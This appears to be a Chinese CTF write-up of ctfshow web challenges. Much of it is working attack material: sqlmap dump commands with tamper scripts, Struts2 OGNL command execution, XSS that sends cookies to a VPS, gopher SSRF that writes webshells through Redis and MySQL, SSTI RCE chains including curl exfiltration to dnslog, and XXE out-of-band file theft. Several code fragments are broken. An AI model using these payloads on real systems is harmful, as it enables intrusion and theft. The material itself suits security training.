sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
--safe-freq 设置两次注入测试前访问安全链接的次数
sqlmap -u http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/getToken.php --safe-freq 1
sqlmap -u http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/getToken.php --safe-freq 1
sqlmap -u http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper space2comment.py
See the file 'LICENSE' for copying permission
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
def tamper(payload, **kwargs):
retVal = payload
retVal = retVal.replace("=", " like ")
retVal = retVal.replace(" ", chr(0x0a))
return retVal
sqlmap -u http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper ctfshow209.py
See the file 'LICENSE' for copying permission
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW
def dependencies():
def tamper(payload, **kwargs):
retVal = payload
retVal = retVal.replace("-- -", "#")
retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
return retVal
sqlmap -u http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper ctfshow210.py
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("")
def tamper(payload, **kwargs):
retVal = payload
retVal = retVal.replace(" ", "/**/")
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
sqlmap -u http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch --tamper 211.py
web212
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
function waf($str){
return preg_match('/ |\*/', $str);
改成替换成%09
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
url/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)
web入门·XSS
web316
xml.php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
<script>document.location.href='http://url/xml.php?1='+document.cookie</script>
xml.php放你vps上,payload执行后可以在网页目录看到一个flag.txt。首先得到的是你自己的cookie,过会儿xssbot点了才能拿到flag
web317
script被过滤了,换个标签即可
<body onload="window.open('http://url/xml.php?1='+document.cookie)"></body>
web318
过滤了img,还是用上题那个payload
web319
不知道多了啥过滤,反正同上
web320
空格被ban
<iframe/**/onload="window.open('http://url/xml.php?1='+document.cookie)"></iframe>
import time
url="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/amount.php"
url2="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=b3rcula2jb86mo11r0v13kg932'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'123456', #注册的用户名
'a':str(t)
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
module.exports = router;
也就是我们要让secert.ctfshow===’36dboy’,utils.copy会将请求体中的数据复制到一个名为“user”的对象中,所以我们只要像上面的演示一样让password.__proto__.ctfshow=’36dboy’即可,payload:
{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}
甚至只用{"__proto__":{"ctfshow":"36dboy"}}
都可以,只要成功给Object添加熟悉即可
web338
现在代码变成了:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
function normalUser(){
this.user
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
module.exports = router;
像上一题一样直接覆盖是不行了,因为我们又不知道flag的值,没法让secert.ctfshow===flag
web入门·SSRF
web351
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
POST传入
url=127.0.0.1/flag.php
让服务器帮我们请求本地的flag.php即可
web352
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
else{
die('hacker');
else{
die('hacker');
主要是加了一个过滤:
if(!preg_match('/localhost|127.0.0/'))
但这个代码其实写错了,因为没规定匹配哪个变量里的字符串,所以上一题的payload还是能打:
url=http://127.0.0.1/flag.php
web353
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
else{
die('hacker');
else{
die('hacker');
过滤了localhost”、”127.0.” 或中文句号(。
)
127.1可被解析为127.0.0.1,为0可缺省
在linux中,0会被解析为127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
当然我们还可以对127.0.0.1转进制
url=http://2130706433/flag.php
web354
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
else{
die('hacker');
else{
die('hacker');
url=http://sudo.cc/flag.php
这个域名应该提前解析向0.0.0.0了,所以可以成功
web355
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
else{
die('hacker');
else{
die('hacker');
也就多加了个小于5而已,用之前那个Payload可以照打:
url=http://127.1/flag.php
web356
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
else{
die('hacker');
else{
die('hacker');
限制小于三,我们可以使用:
url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
echo file_get_contents($_POST['url']);
else{
die('scheme');
排除了私有地址和保留地址,我直接在自己网站放放了个重定向网页:
header("Location:http://127.0.0.1/flag.php");
用我的也行,直接传:
url=http://121.36.193.62/403.php
web358
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
parse_url()函数是解析 URL,并返回url的组成部分,我们可以用http://[email protected]/flag.php?show或者http://[email protected]/flag.php#show满足首部为http://ctf,尾部为show
url=http://[email protected]/flag.php#show
web359
在check.php里post:
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2573%2572%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501
然后在新生成的木马ssrf.php里执行命令即可:
cmd=system("cat /flag.txt");
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
然后用shell.php用cmd传命令即可
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
然后对_后面进行url编码
web入门·SSTI
SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
web361
抄的CTFSHOW-SSTI:
1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".__class__}},得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__mro__[1].__subclasses__()}}
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>
<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类
__init__ 初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__ 使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
web362
def translate_digits(s):
mapping = str.maketrans("0123456789", "0123456789")
return s.translate(mapping)
def translate_letters_encode(s):
mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙")
return s.translate(mapping)
def translate_letters_fullangle(s):
mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
return s.translate(mapping)
s = "{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"
s = translate_digits(s)
print(s)
过滤了数字,用全角bypass一下即可
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web363
过滤了单双引号,使用命令执行拼接一下
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
web368
ban掉了{{
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag
web369
ban掉了request,{%%}执行代码、拼接字符赋值给变量
{% set po=dict(po=a,p=a)|join%} #通过dict()和join构造pop
{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qjvpco=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qybgbf=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}
web入门·XXE
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
</updateProfile>
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//DOMDocument,表示整个HTML或XML文档;作为文档树的根。
$dom = new DOMDocument();
//loadXML,从一个字符串中,加载一个XML文档
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//将XML文档作为一个导入一个XML对象
$creds = simplexml_import_dom($dom);
//XML对象指向ctfshow的元素标签
$ctfshow = $creds->ctfshow;
echo $ctfshow;
highlight_file(__FILE__);
这里我们就可以POST传一个读取服务器的xml,被php://input解析并加载后,通过echo我们就可以看到flag了:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
<ctfshow>&xxe;</ctfshow>
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
highlight_file(__FILE__);
这里load完就不echo了,也就是没回显了,我们可以考虑外带到自己的vps上:
xml.php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".base64_decode($content));
}else{
echo 'no data input';
xxe.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http:/vps/xml.php?1=%file;'"
%all;
把这两个文件放在自己vps的网站目录里,payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
原理就是用xml多次外带最后接受flag数据,后面在自己服务器上的flag.txt就是flag的内容了
web375
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
highlight_file(__FILE__);
过滤了版本号,但我们本来就没用这个,payload还是:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
web376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
highlight_file(__FILE__);
web377
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
highlight_file(__FILE__);
多过滤了 http 头,利用 utf-16 编码
import requests
url = 'http://5d09502d-95cc-48df-a33f-0c87a79d628e.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
GET /admincp.php HTTP/1.1
Host: 56520f28-8ca2-40ef-8dff-6ee0c476aa37.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.2.178448525.1671190440;iCMS_iCMS_AUTH=200b0c70aTDO4VR0iaABkIaqxhTDoDkQCdKpODWfphpw3hG%2BGfm47PMHJP32HEAgrAOwA9XWA1L96fSY9oc
X-forwarded-for:192.168.0.1
Upgrade-Insecure-Requests: 1
if(md5($_GET['session'])=='3e858ccd79287cfe8509f15a71b4c45d'){
$configs="c"."o"."p"."y";
$configs(trim($_GET['url']),$_GET['cms']);}
